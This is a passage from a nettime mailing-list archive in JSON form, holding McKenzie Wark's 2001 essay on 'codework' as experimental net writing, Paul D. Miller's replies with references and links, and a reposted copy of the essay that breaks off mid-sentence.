\"bot\" programmed to produce the semi-legible\ntexts.\n\nAntiorp has spawned a number of alternative identities and imitators. It\nis with some trepidation that one would venture to assign codework texts\nto discrete authors. It may be best to take the fabricated heteronyms\nunder which codework is sometimes published at face value, rather than to\nattempt to assign discrete flesh-and-blood authors.\n\nSome codework frustrates the assigning of authorship as a means of\nbreaking down the link between authorship and intellectual property. The\nLuther Blissett project, for example, encourages writers to assume the\nname Luther Blissett. Many texts of various kinds have appeared under that\nname and without copyright.\n\nSome of the more prolific Luther Blissett authors subsequently became the\nMu Ming Foundation, which claims to be a \"laboratory of digital design\"\noffering \"narrative services.\" The Foundation sees itself as an\n\u0093enterprise\u0094 looking for strategies for regaining control over the\nproduction process for codeworkers.\n\nThe \"texts\" JODI produces hover somewhere at the limit of what a text\nmight be. A sample might look something like this:\n\no\n|:__::::::::::_\u0097\u0097|_::::::::::_\u0097\u0097|_:::::::\n:: : :: :\n\nA classic JODI Web page may spit all kinds of \"punctuation art\"  across\nthe screen. This work is neither writing nor visual art but something in\nbetween. The programming involved usually teeters on the brink of failure.\nEvery technology brings into being new kinds of crashes or accidents, and\nJODI endeavors to find those accidents unique to the authoring of Web\npages.\n\nInteger sometimes makes interventions into discussions on listservers, all\nwith variations on the same distinctive approach to breaking up the text\nand introducing noise into it, not to mention a somewhat abusive\nhypercritical persona.\n\nthis - a l l this. = but 01 ch!!!!!!p. uneventful\nkorporat fascist gullibloon zpektakle.\n\nThis might be a mangled machine English, or perhaps an English written by\na machine programmed by someone who speaks English as a second language,\nor someone producing a simulation of some such. The decaying grammar and\nspelling of the Internet here becomes a kind of aesthetic alternative.\n\nRather than using e-mail and listservers, Alan Sondheim sometimes uses\nIRC, or Internet Relay Chat, as a means of collaboration and composition,\nas in \"saying names among themselves,\" which begins:\n\nIRC log started Mon May 7 00:40\n*** Value of LOG set to ON\n*** You are now talking to channel \n\t#nikuko\n*** Alan is now known as terrible\n*** terrible is now known as worries_i\n\nThe text proceeds as what appears to be a collaboration between Sondheim\nand unwitting collaborators, who may or may not know that this writing may\ncome to have the status of writing, rather than chat.\n\nMany codework texts hover on the brink of legibility, asking the reader to\nquestion whether the author is made of flesh or silicon, or perhaps\nwhether authoring lies at the level of writing text or coding software to\nwrite text. Kenji Siratori\u0092s texts may be machine-made or made to look\nmachine-made.\n\nAnt PC planetary, MURDEROUS CONSEQUENCES! body line \nTREMENDOUS HORROR! drugy miracle ADAM doll \nTREMENDOUS HORROR! thyroid falls\u0085.MURDEROUS \nCONSEQUENCES! vivid placenta world TREMENDOUS HORROR! \nmachinative angel:her soul-machine discharges MURDEROUS \nCONSEQUENCES! speed PC fear\u0085.MURDEROUS \nCONSEQUENCES!\n\nThat text is called \"Alan Sondheim-conference\" and appears to be a\nresponse to a conference report by Sondheim.\n\nWhile some codeworkers pounce upon the texts of others as raw material for\ncodeworking, St\u00e9phan Barron asks others to volunteer texts. In \"Com_post\nConcepts\" he solicits contributions with a text that begins:\n\nWeb surfers send in their texts by e-mail. All are then composted! Just as\nwe ourselves are composted! Recycling as organic and cyclical technology,\na technology of intelligence and responsibility, of the link to the\nnatural and artificial world.\n\nThe sender receives her or his own text back at weekly intervals, in an\nincreasingly noisy and unintelligible state.\n\nThe Internet emerges in much of this work as a noisy space, in which the\nstructures of text decay and writing becomes granular, a chaotic space of\ntemporary orders constantly becoming randomized. Yet within this chaotic\nspace, the \u0093destructive character\u0094 of the codeworker proposes new kinds of\nsensemaking that might, for a moment, keep the parasite of noise at bay.\n\nAnother precursor one might mention, besides Blake, for the emerging world\nof codework, is the James Joyce of Finnegans Wake. In Wake, multiplicity\ncan erupt at any point along the textual surface, not just at discrete\nhyperlinked nodes. Permutations, a Web site by Florian Cramer, reproduces\nin digital form many of the great combinatory text systems, from Raymond\nLullus to Ramond Queneau. Cramer has also produced a codework machine that\ncreates permutations on Finnegans Wake, called \"Here Comes Everybody.\" It\nworks at the level of the syllable, producing a virtual universe of new\nportmanteau words out of original Joyce-text.\n\nThe Australian codeworker Mez has developed a distinctive prose style that\nshe calls mezangelle, producing texts that tend to look like this:\n\n.nodal +death+-points swallowed in a dea.th.rush.\n.u begin 2 -f][l][ail-, ar][t][][is][ms all awry n caught in webbed\nma][ulers][ws.\n\nRather than link discrete blocs of text, or \"lexias,\" to each other, Mez\nintroduces the hypertext principle of multiplicity into the word itself.\nRather than produce alternative trajectories through the text on the\nhypertext principle of \"choice,\" here they co-exist within the same\ntextual space.\n\nThe interest of Mez's writings is not limited to this distinctive approach\nto the text. While the words split and merge on the screen, the authoring\n\"avatar\" behind them is also in a state of flux.  Texts issue, in various\nforms in various places, from data[h!bleeder, Phonet][r][ix, netwurker,\nand many other heteronyms.\n\nAt the heart of the codeworking enterprise is a call for a revised\napproach to language itself. Many of the creative strategies for making or\nthinking about writing in the latter part of the twentieth century drew on\nFerdinand de Saussure's Course in General Linguistics. In the hands of\npoststructuralists, language poets, or hypertext authors and theorists,\nthis was a powerful and useful place to start thinking about how language\nworks. But Saussure begins by separating language as a smooth and abstract\nplane from speech as a pragmatic act. Language is then divided into\nsignifier and signified, with the referent appearing as a shadowy third\nterm. The concept of language that emerges, for all its purity, is far\nremoved from language as a process.\n\nWhat codework draws attention to is the pragmatic side of language.\nLanguage is not an abstract and homogenous plane, it is one element in a\nheterogeneous series of elements linked together in the act of\ncommunication. Writing is not a matter of the text, but of the assemblage\nof the writer, reader, text, the text's material support, the laws of\nproperty and exchange within which all of the above circulate, and so on.\nCodework draws attention to writing as media, where the art of writing is\na matter of constructing an aesthetic, an ethics, even a politics, that\napproaches all of the elements of the process together. Codework makes of\nwriting a media art that breaks with the fetishism of the text and the\nabstraction of language. It brings writing into contact with the other\nbranches of media art, such as music and cinema, all of which are\nconverging in the emerging space of multimedia, and which often have a\nricher conception of the politics of media art as a collaborative practice\nthan has been the case with writing conceived within the prison-house of\n\"text.\"\n\nfrom American Book Review\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nWe no longer have roots, we have aerials. \n~~~~~~~~~~ McKenzie Wark ~~~~~~~~~\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00223.html",
                "list": "nettime_l",
                "author_name": "McKenzie Wark",
                "subject": "<nettime> from hypertext to codework",
                "from": "McKenzie Wark <mw35 {AT} nyu.edu>",
                "follow-up": [
                    {
                        "from": "\"Paul D. Miller\" <anansi1 {AT} earthlink.net>",
                        "content": "\nKen - I'm sitting here in Florida, and just have to sigh a little \nbit. This is the problem with the digital media scene - it is SUPER \nWHITEBREAD - there is alot more going on....  I'm not attacking you, \nI just wish that the computer \"art/literary\" scene - especially where \nit comes to \"language as code\" - would think about precedents for \ntheater and spectacle outside of the normal discourse that goes on in \nspots like nettime... at the end of the day, the \"visual interface\" \nthat most of digital culture uses to create art/text/etc etc is not \nneutral, and again, this is a Mcluhan refraction of the old inner \near/eye thing, but with a little bit more of a technical twist. \nThere's a great essay that the physicist David Bohm wrote on this \ntopic called \"Thought as a System\" - the idea of progress is a \nconvergence of these \"visual cues\" that hold the eye and hand \ntogether when we think... Multi valent/multi-cultural approaches to \nlanguage and all of the sundry variations its going through right \nnow, are what make this kind of stuff alot more interesting... Artaud \nwas the fellow who invented the term \"virtual reality\" not Jaron \nLanier... think of the media repetitions of the WTC as a scene out of \n\"Theater of Cruelty\" and combine it with how mourning passes through \nthe media sphere a la Princess Diana's death etc etc and you get the \nidea of the whole gestalt of this kind of thing... or even the way \nthat linguistic permutation has evolved out of music and spoken text \n(think of Cab Calloway or Kurt Schwitters or later material like John \nCage's 'mesotics' (I'm writing this off the cuff... did I spell that \nright?), and even the way dj's play with words while spinning music \nin a set - this in itself is one of the major developments of 20th \ncentury culture: the ability not just to accept the linguistic \nregulations of a situation (again, Debord meets Grand Master \nFlash...) - but to constantly change them. This is one of the major \nissues that Henry Louis Gates wrote about in his \"Signifying Monkey\" \nessay a long while ago, but you can easily see the digital component \nof the same system of thought on-line when people play with words as \ndomain names etc etc....  there's shareware like Ray Kurzweil's \nCybernetic Poet \nhttp://www.kurzweilcyberart.com/poetry/rkcp_overview.php3\n\nand hip-hop material like Saul Williams and Kool Keith, and even the \nway the poetry of algorithms became rhythm (there's a great site on \nthe history of drum machines... http://www.drummachine.com/\n\nand out of Australia, there's the global digital poetry site that \nuses algorithms to create text and hyperlinks:\nhttp://www.experimedia.vic.gov.au/~komninos/maysites.html\n\nor even the \"visual thesaurus\" that creates 3-D models of how words \nrelate to one another...\nhttp://www.thinkmap.com/\n\nand even more MAX/MSP based code material from stuff like composer \nKarlheinz Essl's explorations of free jazz and code structures with \nhis \"lexicon-sonate\" programs:\nhttp://www.essl.at/works/lexson-online.html\n\nor nifty stuff like Chris Csikszentmihalyi's \"Robot Dj\" that does \nstuff like cuttin' and scratchin' - after all \"phonograph\" breaks \ndown to \"Sound - writing\" i.e.  \"phonetics of graphology...\"\n\nhttp://www.dj-i-robot.com/\n\nsequencing and figuring out different permutations as core aspects of \ncode is an archetypal situation at this point... Alan Sondheim is \nperhaps the equivalent  of an MC for Nettime, but again, the field \ncould and should be expanded at this point.\n\n\nthe idea here is to point out\n1) multi-cultural variations in language (Stephen Pinker does a great \njob of describing \"patois\" and cultural change as linguistic \nvariation in his \"How the Mind Works\") as a platform for figuring out \nhow codes evolve out of linguistic systems\n2) multi cultural takes on this are alot more fun... and the parties \nare alot better, and the music is alot better...\n3) what next? Ken - how about a nick name - \"Dj Oulipo\" or something...\n\npeace,\nPaul\n\n\nhttp://www2.ec-lille.fr/~book/oulipo/info/\n\n\n>Codework\n>McKenzie Wark\n>\n>\n>What happens to writing as it collides with new media? I was thinking\n>about this recently while looking over an exhibition of William Blake's\n>work at the Metropolitan Museum in New York. On display was not just Blake\n>the artist, Blake the poet, or Blake the quirky revolutionary. Here was\n>Blake the media artist.\n>\n>Blake assembled all of the elements of a media practice. As a writer he\n>experimented with all aspects of the production process.  His aesthetic\n>did not stop with the word on the page. Here, I thought, was a useful\n>precursor to name for the new developments in writing that take place on\n>the Internet, developments I will shortly define as \"codework.\"\n>\n>But Blake is interesting in this connection only if one embraces all\n>aspects of his productivity. There's a tendency, in the teaching of\n>literature and the management of its canons, to separate off the authoring\n>of the text from the other aspects of writing as a production. It's a\n>tendency that full attention to Blake frustrates, given how fully he was\n>invested in the implication of writing in all aspects of its production\n>and circulation. Blake\u03bds creation did not stop at the threshold of \"text.\"\n>\n>Digging writing out of the prison-house of \"text\" might just be what is\n>needed to unblock thinking about where the Internet is taking writing.\n>There has always been more to writing than text, and there is more to\n>electronic writing than hypertext.\n>\n>Hypertext may have come to dominate perceptions of where writing is\n>heading in the Internet era, but it is by no means the only, or the most\n>interesting, strategy for electronic writing. Hypertext writers tend to\n>take the link as the key innovation in electronic writing spaces. In\n>hypertext writing, the link is supposed to open up multiple trajectories\n>for the reader through the space of the text.\n>\n>Extraordinary claims were made for this as a liberatory writing strategy.\n>Hypertext has its limits, however. First, the writing of the text stands\n>in relation to the writing of the software as content to form. The two are\n>not really brought together on the same plane of creativity. Secondly,\n>hypertext tends not to circulate outside of the academic literary\n>community. It has its roots in avant-garde American and English literature\n>and tends to hew close to those origins. Thirdly, it doesn't really\n>rethink who the writer is, in the new network of statements that the\n>expansion of the Internet makes possible. For all the talk of the death of\n>the author, the hypertext author assumes much the same persona as his or\n>her avant-garde literary predecessors.\n>\n>What is interesting about the emergence of codework is that it breaks with\n>hypertext strategies on all three points. In many codework writings, both\n>the technical and cultural phenomena of coding infiltrates the work on all\n>its levels. Codework finds its home in a wide range of Internet venues,\n>forming dialogues\u03c3sometimes antagonistic ones\u03c3with the development of\n>other kinds of written communication in an emerging electronic writing\n>ecology. Codework also sets to work on the problem of the author, bringing\n>all of the tactics of the Internet to bear on the question of authorship.\n>\n>Codework \"entities\" such as Antiorp and JODI approach the Internet as a\n>space in which to re-engineer all of the aspects of creative production\n>and distribution. Antiorp is famous\u03c3or rather infamous\u03c3for bombarding\n>listservers such as the Nettime media theory list with posts that seem to\n>parody the sometimes high-serious style of Internet media theory. It was\n>often hard to tell whether the Antiorp writing emanated from a human\n>source or from some demented \"bot\" programmed to produce the semi-legible\n>texts.\n>\n>Antiorp has spawned a number of alternative identities and imitators. It\n>is with some trepidation that one would venture to assign codework texts\n>to discrete authors. It may be best to take the fabricated heteronyms\n>under which codework is sometimes published at face value, rather than to\n>attempt to assign discrete flesh-and-blood authors.\n>\n>Some codework frustrates the assigning of authorship as a means of\n>breaking down the link between authorship and intellectual property. The\n>Luther Blissett project, for example, encourages writers to assume the\n>name Luther Blissett. Many texts of various kinds have appeared under that\n>name and without copyright.\n>\n>Some of the more prolific Luther Blissett authors subsequently became the\n>Mu Ming Foundation, which claims to be a \"laboratory of digital design\"\n>offering \"narrative services.\" The Foundation sees itself as an\n>\u03bcenterprise\u03be looking for strategies for regaining control over the\n>production process for codeworkers.\n>\n>The \"texts\" JODI produces hover somewhere at the limit of what a text\n>might be. A sample might look something like this:\n>\n>o\n>|:__::::::::::_\u03c3\u03c3|_::::::::::_\u03c3\u03c3|_:::::::\n>:: : :: :\n>\n>A classic JODI Web page may spit all kinds of \"punctuation art\"  across\n>the screen. This work is neither writing nor visual art but something in\n>between. The programming involved usually teeters on the brink of failure.\n>Every technology brings into being new kinds of crashes or accidents, and\n>JODI endeavors to find those accidents unique to the authoring of Web\n>pages.\n>\n>Integer sometimes makes interventions into discussions on listservers, all\n>with variations on the same distinctive approach to breaking up the text\n>and introducing noise into it, not to mention a somewhat abusive\n>hypercritical persona.\n>\n>this - a l l this. = but 01 ch!!!!!!p. uneventful\n>korporat fascist gullibloon zpektakle.\n>\n>This might be a mangled machine English, or perhaps an English written by\n>a machine programmed by someone who speaks English as a second language,\n>or someone producing a simulation of some such. The decaying grammar and\n>spelling of the Internet here becomes a kind of aesthetic alternative.\n>\n>Rather than using e-mail and listservers, Alan Sondheim sometimes uses\n>IRC, or Internet Relay Chat, as a means of collaboration and composition,\n>as in \"saying names among themselves,\" which begins:\n>\n>IRC log started Mon May 7 00:40\n>*** Value of LOG set to ON\n>*** You are now talking to channel\n>\t#nikuko\n>*** Alan is now known as terrible\n>*** terrible is now known as worries_i\n>\n>The text proceeds as what appears to be a collaboration between Sondheim\n>and unwitting collaborators, who may or may not know that this writing may\n>come to have the status of writing, rather than chat.\n>\n>Many codework texts hover on the brink of legibility, asking the reader to\n>question whether the author is made of flesh or silicon, or perhaps\n>whether authoring lies at the level of writing text or coding software to\n>write text. Kenji Siratori\u03bds texts may be machine-made or made to look\n>machine-made.\n>\n>Ant PC planetary, MURDEROUS CONSEQUENCES! body line\n>TREMENDOUS HORROR! drugy miracle ADAM doll\n>TREMENDOUS HORROR! thyroid falls\u03a6.MURDEROUS\n>CONSEQUENCES! vivid placenta world TREMENDOUS HORROR!\n>machinative angel:her soul-machine discharges MURDEROUS\n>CONSEQUENCES! speed PC fear\u03a6.MURDEROUS\n>CONSEQUENCES!\n>\n>That text is called \"Alan Sondheim-conference\" and appears to be a\n>response to a conference report by Sondheim.\n>\n>While some codeworkers pounce upon the texts of others as raw material for\n>codeworking, St\u0398phan Barron asks others to volunteer texts. In \"Com_post\n>Concepts\" he solicits contributions with a text that begins:\n>\n>Web surfers send in their texts by e-mail. All are then composted! Just as\n>we ourselves are composted! Recycling as organic and cyclical technology,\n>a technology of intelligence and responsibility, of the link to the\n>natural and artificial world.\n>\n>The sender receives her or his own text back at weekly intervals, in an\n>increasingly noisy and unintelligible state.\n>\n>The Internet emerges in much of this work as a noisy space, in which the\n>structures of text decay and writing becomes granular, a chaotic space of\n>temporary orders constantly becoming randomized. Yet within this chaotic\n>space, the \u03bcdestructive character\u03be of the codeworker proposes new kinds of\n>sensemaking that might, for a moment, keep the parasite of noise at bay.\n>\n>Another precursor one might mention, besides Blake, for the emerging world\n>of codework, is the James Joyce of Finnegans Wake. In Wake, multiplicity\n>can erupt at any point along the textual surface, not just at discrete\n>hyperlinked nodes. Permutations, a Web site by Florian Cramer, reproduces\n>in digital form many of the great combinatory text systems, from Raymond\n>Lullus to Ramond Queneau. Cramer has also produced a codework machine that\n>creates permutations on Finnegans Wake, called \"Here Comes Everybody.\" It\n>works at the level of the syllable, producing a virtual universe of new\n>portmanteau words out of original Joyce-text.\n>\n>The Australian codeworker Mez has developed a distinctive prose style that\n>she calls mezangelle, producing texts that tend to look like this:\n>\n>.nodal +death+-points swallowed in a dea.th.rush.\n>.u begin 2 -f][l][ail-, ar][t][][is][ms all awry n caught in webbed\n>ma][ulers][ws.\n>\n>Rather than link discrete blocs of text, or \"lexias,\" to each other, Mez\n>introduces the hypertext principle of multiplicity into the word itself.\n>Rather than produce alternative trajectories through the text on the\n>hypertext principle of \"choice,\" here they co-exist within the same\n>textual space.\n>\n>The interest of Mez's writings is not limited to this distinctive approach\n>to the text. While the words split and merge on the screen, the authoring\n>\"avatar\" behind them is also in a state of flux.  Texts issue, in various\n>forms in various places, from data[h!bleeder, Phonet][r][ix, netwurker,\n>and many other heteronyms.\n>\n>At the heart of the codeworking enterprise is a call for a revised\n>approach to language itself. Many of the creative strategies for making or\n>thinking about writing in the latter part of the twentieth century drew on\n>Ferdinand de Saussure's Course in General Linguistics. In the hands of\n>poststructuralists, language poets, or hypertext authors and theorists,\n>this was a powerful and useful place to start thinking about how language\n>works. But Saussure begins by separating language as a smooth and abstract\n>plane from speech as a pragmatic act. Language is then divided into\n>signifier and signified, with the referent appearing as a shadowy third\n>term. The concept of language that emerges, for all its purity, is far\n>removed from language as a process.\n>\n>What codework draws attention to is the pragmatic side of language.\n>Language is not an abstract and homogenous plane, it is one element in a\n>heterogeneous series of elements linked together in the act of\n>communication. Writing is not a matter of the text, but of the assemblage\n>of the writer, reader, text, the text's material support, the laws of\n>property and exchange within which all of the above circulate, and so on.\n>Codework draws attention to writing as media, where the art of writing is\n>a matter of constructing an aesthetic, an ethics, even a politics, that\n>approaches all of the elements of the process together. Codework makes of\n>writing a media art that breaks with the fetishism of the text and the\n>abstraction of language. It brings writing into contact with the other\n>branches of media art, such as music and cinema, all of which are\n>converging in the emerging space of multimedia, and which often have a\n>richer conception of the politics of media art as a collaborative practice\n>than has been the case with writing conceived within the prison-house of\n>\"text.\"\n>\n>from American Book Review\n>\n>\n>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n>We no longer have roots, we have aerials.\n>~~~~~~~~~~ McKenzie Wark ~~~~~~~~~\n>\n>\n>\n>\n>\n>#  distributed via <nettime>: no commercial use without permission\n>#  <nettime> is a moderated mailing list for net criticism,\n>#  collaborative text filtering and cultural politics of the nets\n>#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n>#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n\n\n============================================================================\n\nPort:status>OPEN\nwildstyle access: www.djspooky.com\n\nPaul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\nSubliminal Kid Inc.\n\nOffice Mailing Address:\n\nMusic and Art Management\n245 w14th st #2RC NY NY\n10011\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00224",
                        "date": "Sat, 22 Sep 2001 19:10:42 -0400",
                        "to": "\"nettime-l {AT} bbs.thing.net\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200109230434.AAA02339 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00224.html",
                        "content-type": "text/plai",
                        "author_name": "Paul D. Miller",
                        "subject": "Re: <nettime> from hypertext to codework"
                    }
                ],
                "message-id": "200109222259.SAA24619 {AT} bbs.thing.net",
                "date": "Fri, 21 Sep 2001 14:15:09 -0500",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"Paul D. Miller\" <anansi1 {AT} mail.earthlink.net>",
                "id": "00253",
                "content": "\nHey Ken -\n1) Artaud - relatively decent Artaud sites:\nhttp://www.hydra.umn.edu/artaud/ab.html\n\nhttp://www.antoninartaud.org/home.html\n\nand the Artaud reference can be found in the \"Theater and It's \nDouble\" at the beginning of the section entitled \"The Theater and its \nShadow\"\n\naround p.49 in the edition I have \"la realite virtuelle\" - 1938.... \nin the section called the \"theater and it's shadow\" or something like \nthat... the original context was that humans were inundated with life \nas symbolic reality... both me and Erik Davis deal with this in our \nrespective writings on the topic.\n\n2) There's plenty of room for figuring out how Walter Ong's ideas of \norality and text flow together, his book \"Orality and Literacy: the \nTechnologizing of the Word\"  remains a pretty good glimpse into how \nwords became \"the noetic navigation of places\" - but words assign \nplace and meaning on-line, but in the world of stuff like Amos \nTutualoa or John Lee (the black hacker on the cover of Wired a long \ntime ago who was into the whole language as cipher-text etc etc his \ncrew was called \"The Masters of Deception\"), it'd be nifty to figure \nout on how mantras etc etc fit into this too....\n\n3) your idea that \"everything Alan does is a proposition on how to \nread...\" - well, yep, but again, it's the permutations of the process \nthat make reading him interesting. Otherwise, no disrespect to Alan, \nit'd be like listening to the same beat over and over and over... \neven the linguistic origins of jazz (from the French verb \"jazzer\" - \nwhich means to \"have a dialog\") - still pertains to what you spoke \nabout.Some of this relates basically as the \"lowest common \ndenominator\" kind of scenario to the \"sequencing/spatializing\" of the \nword that Ong deals with, but again, there's plenty of stuff like \nthat in electronic music at this point... There's a couple of great \ntreatments of that topic in Robert Farris Thompson's classic \"Flash \nof the Spirit\"...\n\n4) yep, I agree about mixing styles and genres... in academia, there \nare rules and regulations about this kind of thing - and keeping the \nboundaries between \"zones\" in this day and age is getting more and \nmore problematic, but I have a feeling the next generation of folks \nwill all look at this kind of thing as a video game or hypertext of a \nkind of collaborative filtering or something... if you still have \nthat article around (the one on language and whatnot with henry louis \ngates etc etc) we're still working on getting 21C started up - I've \nbeen travelling alot, and that's slowed things down..... Let me know \nif you'd be into re-publishing it or something. I'm going to set up \nthe web version of the magazine first and deal with the print in a \nlittle bit (www.21cmagazine.com is up and running, but again, there's \nonly 24 hours in the day... I have a decent amount of articles from \nvarious folks, but I need about two weeks of down-time - which I'm \ntaking in mid-October - to finalize everything... more on that in a \nbit)\nokay,\npeace from Florida\nPaul\n\n\n\n>Thanks to Paul for\n>his remarks, but i\n>think, as they say,\n>that\n>i want to break it\n>down...\n <...>\n\n\n============================================================================\n\nPort:status>OPEN\nwildstyle access: www.djspooky.com\n\nPaul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\nSubliminal Kid Inc.\n\nOffice Mailing Address:\n\nMusic and Art Management\n245 w14th st #2RC NY NY\n10011\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 24 Sep 2001 22:53:16 -0400",
                "to": "\"nettime-l {AT} bbs.thing.net\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200109251747.NAA22389 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00253.html",
                "list": "nettime_l",
                "author_name": "Paul D. Miller",
                "subject": "<nettime> resending....  from hypertext to codework"
            },
            {
                "content-type": "text/plai",
                "from": "McKenzie Wark <mw35@nyu.edu>",
                "id": "00677",
                "content": "[Hopefully, this time with the right formatting...]\n\nCodework\nMcKenzie Wark\n\n\nWhat happens to writing as it collides with new media? I was \nthinking about this recently while looking over an exhibition of \nWilliam Blake\u2019s work at the Metropolitan Museum in New York. On \ndisplay was not just Blake the artist, Blake the poet, or Blake the \nquirky revolutionary. Here was Blake the media artist.\n\nBlake assembled all of the elements of a media practice. As a \nwriter he experimented with all aspects of the production process. \nHis aesthetic did not stop with the word on the page. Here, I \nthought, was a useful precursor to name for the new \ndevelopments in writing that take place on the Internet, \ndevelopments I will shortly define as \u201ccodework.\u201d\n\nBut Blake is interesting in this connection only if one embraces all \naspects of his productivity. There\u2019s a tendency, in the teaching of \nliterature and the management of its canons, to separate off the \nauthoring of the text from the other aspects of writing as a \nproduction. It\u2019s a tendency that full attention to Blake frustrates, \ngiven how fully he was invested in the implication of writing in all \naspects of its production and circulation. Blake\u2019s creation did not \nstop at the threshold of \u201ctext.\u201d\n\nDigging writing out of the prison-house of \u201ctext\u201d might just be what \nis needed to unblock thinking about where the Internet is taking \nwriting. There has always been more to writing than text, and there \nis more to electronic writing than hypertext.\n\nHypertext may have come to dominate perceptions of where \nwriting is heading in the Internet era, but it is by no means the only, \nor the most interesting, strategy for electronic writing. Hypertext \nwriters tend to take the link as the key innovation in electronic \nwriting spaces. In hypertext writing, the link is supposed to open \nup multiple trajectories for the reader through the space of the text.\n\nExtraordinary claims were made for this as a liberatory writing \nstrategy. Hypertext has its limits, however. First, the writing of the \ntext stands in relation to the writing of the software as content to \nform. The two are not really brought together on the same plane of \ncreativity. Secondly, hypertext tends not to circulate outside of the \nacademic literary community. It has its roots in avant-garde \nAmerican and English literature and tends to hew close to those \norigins. Thirdly, it doesn\u2019t really rethink who the writer is, in the new \nnetwork of statements that the expansion of the Internet makes \npossible. For all the talk of the death of the author, the hypertext \nauthor assumes much the same persona as his or her \navant-garde literary predecessors.\n\nWhat is interesting about the emergence of codework is that it \nbreaks with hypertext strategies on all three points. In many \ncodework writings, both the technical and cultural phenomena of \ncoding infiltrates the work on all its levels. Codework finds its \nhome in a wide range of Internet venues, forming \ndialogues\u2014sometimes antagonistic ones\u2014with the development \nof other kinds of written communication in an emerging electronic \nwriting ecology. Codework also sets to work on the problem of the \nauthor, bringing all of the tactics of the Internet to bear on the \nquestion of authorship.\n\nCodework \u201centities\u201d such as Antiorp and JODI approach the \nInternet as a space in which to re-engineer all of the aspects of \ncreative production and distribution. Antiorp is famous\u2014or rather \ninfamous\u2014for bombarding listservers such as the Nettime media \ntheory list with posts that seem to parody the sometimes \nhigh-serious style of Internet media theory. It was often hard to tell \nwhether the Antiorp writing emanated from a human source or \nfrom some demented \u201c\u2018bot\u201d programmed to produce the \nsemi-legible texts.\n\nAntiorp has spawned a number of alternative identities and \nimitators. It is with some trepidation that one would venture to \nassign codework texts to discrete authors. It may be best to take \nthe fabricated heteronyms under which codework is sometimes \npublished at face value, rather than to attempt to assign discrete \nflesh-and-blood authors.\n\nSome codework frustrates the assigning of authorship as a \nmeans of breaking down the link between authorship and \nintellectual property. The Luther Blissett project, for example, \nencourages writers to assume the name Luther Blissett. Many \ntexts of various kinds have appeared under that name and without \ncopyright.\n\nSome of the more prolific Luther Blissett authors subsequently \nbecame the Mu Ming Foundation, which claims to be a \u201claboratory \nof digital design\u201d offering \u201cnarrative services.\u201d The Foundation \nsees itself as an \u201centerprise\u201d looking for strategies for regaining \ncontrol over the production process for codeworkers.\n\nThe \u201ctexts\u201d JODI produces hover somewhere at the limit of what a \ntext might be. A sample might look something like this:\n\no\n|:__::::::::::_\u2014\u2014|_::::::::::_\u2014\u2014|_:::::::\n:: : :: :\nA classic JODI Web page may spit all kinds of \u201cpunctuation art\u201d \nacross the screen. This work is neither writing nor visual art but \nsomething in between. The programming involved usually teeters \non the brink of failure. Every technology brings into being new \nkinds of crashes or accidents, and JODI endeavors to find those \naccidents unique to the authoring of Web pages.\n\nInteger sometimes makes interventions into discussions on \nlistservers, all with variations on the same distinctive approach to \nbreaking up the text and introducing noise into it, not to mention a \nsomewhat abusive hypercritical persona.\n\nthis - a l l this. = but 01 ch!!!!!!p. uneventful\nkorporat fascist gullibloon zpektakle.\n\nThis might be a mangled machine English, or perhaps an English \nwritten by a machine programmed by someone who speaks \nEnglish as a second language, or someone producing a \nsimulation of some such. The decaying grammar and spelling of \nthe Internet here becomes a kind of aesthetic alternative.\n\nRather than using e-mail and listservers, Alan Sondheim \nsometimes uses IRC, or Internet Relay Chat, as a means of \ncollaboration and composition, as in \u201csaying names among \nthemselves,\u201d which begins:\n\nIRC log started Mon May 7 00:40\n*** Value of LOG set to ON\n*** You are now talking to channel \n\t#nikuko\n*** Alan is now known as terrible\n*** terrible is now known as worries_i\n\nThe text proceeds as what appears to be a collaboration between \nSondheim and unwitting collaborators, who may or may not know \nthat this writing may come to have the status of writing, rather than \nchat.\n\nMany codework texts hover on the brink of legibility, asking the \nreader to question whether the author is made of flesh or silicon, \nor perhaps whether authoring lies at the level of writing text or \ncoding software to write text. Kenji Siratori\u2019s texts may be \nmachine-made or made to look machine-made.\n\nAnt PC planetary, MURDEROUS CONSEQUENCES! body line \nTREMENDOUS HORROR! drugy miracle ADAM doll \nTREMENDOUS HORROR! thyroid falls\u2026.MURDEROUS \nCONSEQUENCES! vivid placenta world TREMENDOUS HORROR! \nmachinative angel:her soul-machine discharges MURDEROUS \nCONSEQUENCES! speed PC fear\u2026.MURDEROUS \nCONSEQUENCES!\n\nThat text is called \u201cAlan Sondheim-conference\u201d and appears to be \na response to a conference report by Sondheim.\n\nWhile some codeworkers pounce upon the texts of others as raw \nmaterial for codeworking, St\u00e9phan Barron asks others to volunteer \ntexts. In \u201cCom_post Concepts\u201d he solicits contributions with a text \nthat begins:\n\nWeb surfers send in their texts by e-mail. \u2026All are then \ncomposted! Just as we ourselves are composted! Recycling as \norganic and cyclical technology, a technology of intelligence and 